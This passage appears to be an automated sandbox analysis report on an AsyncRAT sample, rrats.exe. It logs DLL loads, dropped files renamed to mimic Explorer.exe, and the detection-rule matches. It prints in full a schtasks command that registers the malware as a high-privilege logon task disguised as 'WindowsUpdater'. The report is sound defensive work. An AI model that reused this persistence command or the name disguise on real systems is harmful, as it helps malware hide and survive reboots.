Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\explore.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\Desktop\rrats.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: rrats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: rrats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: rrats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: rrats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: rrats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: rrats.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: rrats.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: rrats.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: rrats.exe
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb source: rrats.exe, 00000000.00000003.2025471553.0000000007875000.00000004.00000020.00020000.00000000.sdmp, a.exe, 00000004.00000000.2030069537.0000000000EA8000.00000002.00000001.01000000.00000009.sdmp, a.exe, 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmp, a.exe.0.dr

Source: rrats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: rrats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: rrats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: rrats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: rrats.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\rrats.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_6344500

Jump to behavior

Source: Explorer.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x18937
Source: a.exe.0.dr	Static PE information: real checksum: 0x50eb0 should be: 0x5acc5
Source: rrat.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x18937
Source: explore.exe.16.dr	Static PE information: real checksum: 0x0 should be: 0x18937
Source: rrats.exe	Static PE information: real checksum: 0x4fdb3 should be: 0x886c1

Source: rrats.exe	Static PE information: section name: .didat
Source: a.exe.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CBD443 push FFFFFFD0h; retf	0_2_00CBD445
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CBF640 push ecx; ret	0_2_00CBF653
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CBEB78 push eax; ret	0_2_00CBEB96
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_3_02FB485A push eax; retf	4_3_02FB488D
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_3_02FB485A push eax; retf	4_3_02FB488D
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_3_02FB485A push eax; retf	4_3_02FB488D
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_3_02FB485A push eax; retf	4_3_02FB488D
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E93A94 push eax; ret	4_2_00E93AB2
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E947D0 push ecx; ret	4_2_00E947E3

Source: rrat.exe.4.dr, rIsDkswHsqEa.cs	High entropy of concatenated method names: 'bEXarVuKQzAhOus', 'KZMgyydrmWaa', 'fZFJNQMngFoEAwE', 'GrDQmWWEvDEvbiZVB', 'gnljKRkooXxGi', 'IVGTCPMGlMs', 'EpqmIhkFeAF', 'YleZeIYkYW', 'AbYVWBHerNIoy', 'lFfOfPSqLDq'
Source: Explorer.exe.5.dr, rIsDkswHsqEa.cs	High entropy of concatenated method names: 'bEXarVuKQzAhOus', 'KZMgyydrmWaa', 'fZFJNQMngFoEAwE', 'GrDQmWWEvDEvbiZVB', 'gnljKRkooXxGi', 'IVGTCPMGlMs', 'EpqmIhkFeAF', 'YleZeIYkYW', 'AbYVWBHerNIoy', 'lFfOfPSqLDq'
Source: 5.2.rrat.exe.26db1a0.0.raw.unpack, rIsDkswHsqEa.cs	High entropy of concatenated method names: 'bEXarVuKQzAhOus', 'KZMgyydrmWaa', 'fZFJNQMngFoEAwE', 'GrDQmWWEvDEvbiZVB', 'gnljKRkooXxGi', 'IVGTCPMGlMs', 'EpqmIhkFeAF', 'YleZeIYkYW', 'AbYVWBHerNIoy', 'lFfOfPSqLDq'
Source: explore.exe.16.dr, rIsDkswHsqEa.cs	High entropy of concatenated method names: 'bEXarVuKQzAhOus', 'KZMgyydrmWaa', 'fZFJNQMngFoEAwE', 'GrDQmWWEvDEvbiZVB', 'gnljKRkooXxGi', 'IVGTCPMGlMs', 'EpqmIhkFeAF', 'YleZeIYkYW', 'AbYVWBHerNIoy', 'lFfOfPSqLDq'

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe

File created: C:\Users\user\AppData\Roaming\Explorer.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\rrats.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	File created: C:\Users\user\AppData\Roaming\Explorer.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Explorer.exe	File created: C:\Users\user\AppData\Local\explore.exe	Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 5.0.rrat.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a.exe PID: 1372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rrat.exe PID: 1968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Explorer.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\explore.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Explorer.exe, type: DROPPED

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Roaming\Explorer.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\rrats.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
